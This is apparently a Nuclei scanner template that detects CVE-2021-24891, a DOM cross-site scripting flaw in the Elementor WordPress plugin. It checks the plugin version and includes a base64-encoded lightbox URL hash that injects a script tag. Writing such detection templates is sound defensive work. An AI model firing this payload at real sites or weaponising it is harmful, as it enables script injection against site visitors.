nuclei-templates/cves/2021/CVE-2021-24891.yaml

id: CVE-2021-24891

info:
  name: Elementor < 3.1.4 - DOM Cross-Site-Scripting
  author: dhiyaneshDk
  severity: medium
  description: |
    The Elementor Website Builder WordPress plugin before 3.1.4 does not sanitise or escape user input appended to the DOM via a malicious hash, resulting in a DOM Cross-Site Scripting issue.
  reference:
    - https://www.jbelamor.com/xss-elementor-lightox.html
    - https://wpscan.com/vulnerability/fbed0daa-007d-4f91-8d87-4bca7781de2d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24891
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24891
    cwe-id: CWE-79
  tags: cve,cve2021,dom,xss,wordpress,wp-plugin,elementor

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/elementor/assets/js/frontend.min.js"
      - "{{BaseURL}}/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9"

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"
        internal: true

      - type: kval
        kval:
          - version

    req-condition: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body_1
        regex:
          - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"

      - type: dsl
        dsl:
          - compare_versions(version, '> 1.5.0', '< 3.1.4') && status_code_1 == 200 && status_code_2 == 200